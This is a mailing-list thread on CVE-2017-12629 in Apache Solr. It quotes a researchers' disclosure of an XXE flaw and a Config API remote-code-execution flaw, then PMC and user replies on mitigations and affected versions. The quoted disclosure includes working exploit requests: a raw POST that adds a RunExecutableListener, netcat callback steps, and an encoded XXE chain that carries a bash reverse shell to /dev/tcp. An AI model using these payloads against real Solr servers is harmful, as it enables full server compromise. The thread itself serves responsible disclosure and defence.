Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Previous Topic Next Topic
 
classic Classic list List threaded Threaded
6 messages Options
Reply | Threaded
Open this post in threaded view
|

Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Cassandra Targett-2
Michael,

On behalf of the Lucene PMC, thank you for reporting these issues. Please be assured we are actively looking into them and are working to provide resolutions as soon as possible. Somehow no one in the Lucene/Solr community saw your earlier mail so we have an unfortunate delay in reacting to this report.

This has been assigned a public CVE (CVE-2017-12629) which we will reference in future communication about resolution and mitigation steps.

For everyone following this thread, here is what we're doing now:

* Until fixes are available, all Solr users are advised to restart their Solr instances with the system parameter `-Ddisable.configEdit=true`. This will disallow any changes to be made to configurations via the Config API. This is a key factor in this vulnerability, since it allows GET requests to add the RunExecutableListener to the config.
** This is sufficient to protect you from this type of attack, but means you cannot use the edit capabilities of the Config API until the other fixes described below are in place.

* A new release of Lucene/Solr was in the vote phase, but we have now pulled it back to be able to address these issues in the upcoming 7.1 release. We will also determine mitigation steps for users on earlier versions, which may include a 6.6.2 release for users still on 6.x.

* The RunExecutableListener will be removed in 7.1. It was previously used by Solr for index replication but has been replaced and is no longer needed.

* The XML Parser will be fixed and the fixes will be included in the 7.1 release.

* The 7.1 release was already slated to include a change to disable the `stream.body` parameter by default, which will further help protect systems.

We hope you are unable to find any vulnerabilities in the future, but, for the record, the ASF policy for reporting these types of issues is to email them to [hidden email] only. This is to prevent vulnerabilities from getting out into the public before fixes can be identified so we avoid exposing our community to attacks by malicious actors. More information on these policies is available from the Security Team's website: https://www.apache.org/security/.

We will have more information shortly about the timing of the 7.1 release as well as ways for pre-7.0 users to gain access to the fixes for their versions.

Best,
Cassandra


On Thu, Oct 12, 2017 at 7:16 AM, Michael Stepankin <[hidden email]> wrote:
Hello,

Could you look at this please. It’s a bit important.

On Fri, 22 Sep 2017 at 01:15, Michael Stepankin <[hidden email]> wrote:
Hello

We would like to report two important vulnerabilities in the latest Apache Solr distribution. Both of them have critical risk rating and they could be chained together in order to compromise the running Solr server even from unprivileged external attacker.

First Vulnerability: XML External Entity Expansion (deftype=xmlparser) 

Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query.

The problem is that lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. It is possible to include special entities in the xml document, that point to external files (via file://) or external urls (via http://):


When Solr is parsing this request, it makes a HTTP request to http://xxx.s.artsploit.com/xxx and treats its content as DOCTYPE definition. 

Considering that we can define parser type in the search query, which is very often comes from untrusted user input, e.g. search fields on websites. It allows to an external attacker to make arbitrary HTTP requests to the local SOLR instance and to bypass all firewall restrictions.

For example, this vulnerability could be user to send malicious data to the '/upload' handler:


This vulnerability can also be exploited as Blind XXE using ftp wrapper in order to read arbitrary local files from the solrserver.

Vulnerable code location:
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
      db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
      throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
      doc = db.parse(pXmlFile);
    }
  

Steps to reproduce:

1. Set up a listener on any port by using netcat command "nc -lv 4444"
3. You will see a request from the Solr server on your netcat listener. It proves that the DOCTYPE declaration is resolved.




Remediation suggestions:

Consider adding the following lines to /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java:

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
      //protect from XXE attacks
      
      db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
      throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
      doc = db.parse(pXmlFile);
    }
  
Links:

CVSS v2 base score: 9.0
(AV:N/AC:L/Au:N/C:C/I:P/A:P)

Second Vulnerability: Remote Code Execution (add-listener: RunExecutableListener)

Solr "RunExecutableListener" class can be used to execute arbitrary commands on specific events, for example after each update query. The problem is that such listener can be enabled with any parameters just by using Config API with add-listener command.

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"ANYCOMMAND",
    "dir":"/usr/bin/",
    "args":["ANYARGS"]
  }
}

Parameters "exe", "args" and "dir" can be crafted throught the HTTP request during modification of the collection's config. This means that anybody who can send a HTTP request to Solr API is able to execute arbitrary shell commands when "postCommit" event is fired. It leads to execution of arbitrary remote code for a remote attacker.

Steps to reproduce:

Step 1. Create a new collection:


Step 2. Set up a listener on any port by using netcat command "nc -lv 4444"

Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener:

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
  }
}

Step 4. Update "newcollection" to trigger execution of RunExecutableListener: 

POST /solr/newcollection/update HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 19

[{"id":"test"}]

Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server.




CVSS v2 base score: 10.0
(AV:N/AC:L/Au:N/C:C/I:C/A:C)

Summary:

By chaining these two vulnerabilities, an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to "q"
search parameter (which is a case for many web applications who use solr).

Lets say that we have an attacker who can only send search queries ("q" param) to a "/select" solr endpoint.
Here is the complete exploit scenario:

Step 1. Create New collection via XXE. This step may be skipped if the attacker already knows any collection name.


Without URL encode:


Step 2. Set up a netcat listener "nc -lv 4444"

Step 3. Add a new RunExecutableListener listener via XXE

http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%73%65%6c%65%63%74%3f%71%3d%78%78%78%26%71%74%3d%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%63%6f%6e%66%69%67%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%32%35%37%62%25%32%35%32%32%25%32%35%36%31%25%32%35%36%34%25%32%35%36%34%25%32%35%32%64%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%37%62%25%32%35%32%32%25%32%35%36%35%25%32%35%37%36%25%32%35%36%35%25%32%35%36%65%25%32%35%37%34%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%30%25%32%35%36%66%25%32%35%37%33%25%32%35%37%34%25%32%35%34%33%25%32%35%36%66%25%32%35%36%64%25%32%35%36%64%25%32%35%36%39%25%32%35%37%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%65%25%32%35%36%31%25%32%35%36%64%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%36%65%25%32%35%36%35%25%32%35%37%37%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%33%25%32%35%36%63%25%32%35%36%31%25%32%35%37%33%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%66%25%32%35%36%63%25%32%35%37%32%25%32%35%32%65%25%32%35%35%32%25%32%35%37%35%25%32%35%36%65%25%32%35%34%35%25%32%35%37%38%25%32%35%36%35%25%32%35%36%33%25%32%35%37%35%25%32%35%37%34%25%32%35%36%31%25%32%35%36%32%25%32%35%36%63%25%32%35%36%35%25%32%35%34%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%37%38%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%34%25%32%35%36%39%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%31%25%32%35%37%32%25%32%35%36%37%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%35%62%25%32%35%32%32%25%32%35%32%64%25%32%35%36%33%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%34%25%32%35%34%30%25%32%35%37%63%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%65%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%36%33%25%32%35%36%38%25%32%35%36%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%36%32%25%32%35%36%31%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%64%25%32%35%36%39%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%65%25%32%35%32%36%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%34%25%32%35%36%35%25%32%35%37%36%25%32%35%32%66%25%32%35%37%34%25%32%35%36%33%25%32%35%37%30%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%37%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%31%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%33%25%32%35%33%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%30%25%32%35%33%65%25%32%35%32%36%25%32%35%33%31%25%32%35%32%32%25%32%35%35%64%25%32%35%37%64%25%32%35%37%64%26%73%68%61%72%64%73%3d%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%22%3e%3c%61%3e%3c%2f%61%3e%27%7d

Without URL encode:

http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/select?q=xxx&qt=/solr/newcollection/config?stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/127.0.0.1/1234","0>&1"]}}&shards=localhost:8983/"><a></a>'}

As you may notice, in order to update the config we need to send a POST request to the application. But by using XXE vulnerability we can only send HTTP GET requests. There is a special trick is used here: If Solr receives "/select?q=123&qt=/xxx&shards=localhost:8983/" GET request, it actually converts it to POST and redirects this request to the shard specified in "shards" parameter. Which is also cool, it overwrites url query by the "qt" parameter, so we can convert it from "/select" to "/config". 
The result HTTP request that is landed to localhost:8983/ will be POST request with stream.body="our_value". That is exactly what we need in terms of exploitation.

Step 3. Update "newcollection" through XXE to trigger execution of RunExecutableListener


Without URL encode:


Step 5. When the "/bin/sh c $@|sh . echo /bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1" command is executed during update, a new shell session will be opened on the netcat listener. An attacker can execute any shell command on the server where Solr is running.




In all three requests Solr responds with different errors, but all of these error are happened after desired actions are executed.

All these vulnerabilities were tested on the latest version of Apache Solr with the default cloud config (bin/solr start -e cloud -noprompt)

These vulnerabilities were discovered by:
Michael Stepankin (JPMorgan Chase)
Olga Barinova (Gotham Digital Science)

We kindly ask you to credit these names if you request CVE identifiers for these issues.
If you have any additional questions, feel free to reach us.

Regards,
Michael & Olga. 

Reply | Threaded
Open this post in threaded view
|

Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Rick Leir-2
Hi all,
What is the earliest version which was vulnerable?
Thanks -- Rick
--
Sorry for being brief. Alternate email is rickleir at yahoo dot com
Reply | Threaded
Open this post in threaded view
|

Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Florian Gleixner
On 13.10.2017 15:13, Rick Leir wrote:
> Hi all,
> What is the earliest version which was vulnerable?
> Thanks -- Rick
>

As far as i can understand, to exploit both vulnerabilities, you need
Solr 5.1 or above (xml query parser), but the RunExecutableListener was
also present in Solr 3.X. But i dont know when the config api was
introduced.


signature.asc (188 bytes) Download Attachment
Reply | Threaded
Open this post in threaded view
|

Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Jan Høydahl / Cominvent
I think Config API came in 5.0 through https://issues.apache.org/jira/browse/SOLR-6533 <https://issues.apache.org/jira/browse/SOLR-6533>

--
Jan Høydahl, search solution architect
Cominvent AS - www.cominvent.com

> 15. okt. 2017 kl. 15:29 skrev Florian Gleixner <[hidden email]>:
>
> On 13.10.2017 15:13, Rick Leir wrote:
>> Hi all,
>> What is the earliest version which was vulnerable?
>> Thanks -- Rick
>>
>
> As far as i can understand, to exploit both vulnerabilities, you need
> Solr 5.1 or above (xml query parser), but the RunExecutableListener was
> also present in Solr 3.X. But i dont know when the config api was
> introduced.
>

Reply | Threaded
Open this post in threaded view
|

Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Rick Leir-2
Thanks Florian, Jan!
The unix way (starting 40 years ago) was small programs, working together via pipes and now services. Maybe Solr should not run executables, leave that task to ssh. The security conscious folks would probably 'prefer' that we take that feature out of Solr.
Cheers -- Rick

On October 15, 2017 10:52:15 AM EDT, "Jan Høydahl" <[hidden email]> wrote:

>I think Config API came in 5.0 through
>https://issues.apache.org/jira/browse/SOLR-6533
><https://issues.apache.org/jira/browse/SOLR-6533>
>
>--
>Jan Høydahl, search solution architect
>Cominvent AS - www.cominvent.com
>
>> 15. okt. 2017 kl. 15:29 skrev Florian Gleixner <[hidden email]>:
>>
>> On 13.10.2017 15:13, Rick Leir wrote:
>>> Hi all,
>>> What is the earliest version which was vulnerable?
>>> Thanks -- Rick
>>>
>>
>> As far as i can understand, to exploit both vulnerabilities, you need
>> Solr 5.1 or above (xml query parser), but the RunExecutableListener
>was
>> also present in Solr 3.X. But i dont know when the config api was
>> introduced.
>>

--
Sorry for being brief. Alternate email is rickleir at yahoo dot com
Reply | Threaded
Open this post in threaded view
|

Re: Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)

Shawn Heisey-2
In reply to this post by Rick Leir-2
On 10/13/2017 7:13 AM, Rick Leir wrote:
> What is the earliest version which was vulnerable?

The XML query parser was added to Solr in version 5.5.  Since that's a
critical part of the remote exploit, that's the minimum version to be
worried about in situations where end users cannot reach Solr directly. 
If end users have direct access to the Solr server, then that opens up a
whole different class of problems.

https://issues.apache.org/jira/browse/SOLR-839

Because the XML parser is enabled by default in Solr without any
configuration, currently the only way to "turn off" that parser is to
redefine the "xmlparser" name to another parser, with a config line like
this in solrconfig.xml:

  <queryParser name="xmlparser" class="solr.ExtendedDismaxQParserPlugin"/>

This config doesn't actually unload the XML parser, but it does
effectively make it inaccessible, because the name is redirected to a
different parser.

I opened this issue:

https://issues.apache.org/jira/browse/SOLR-11495

Thanks,
Shawn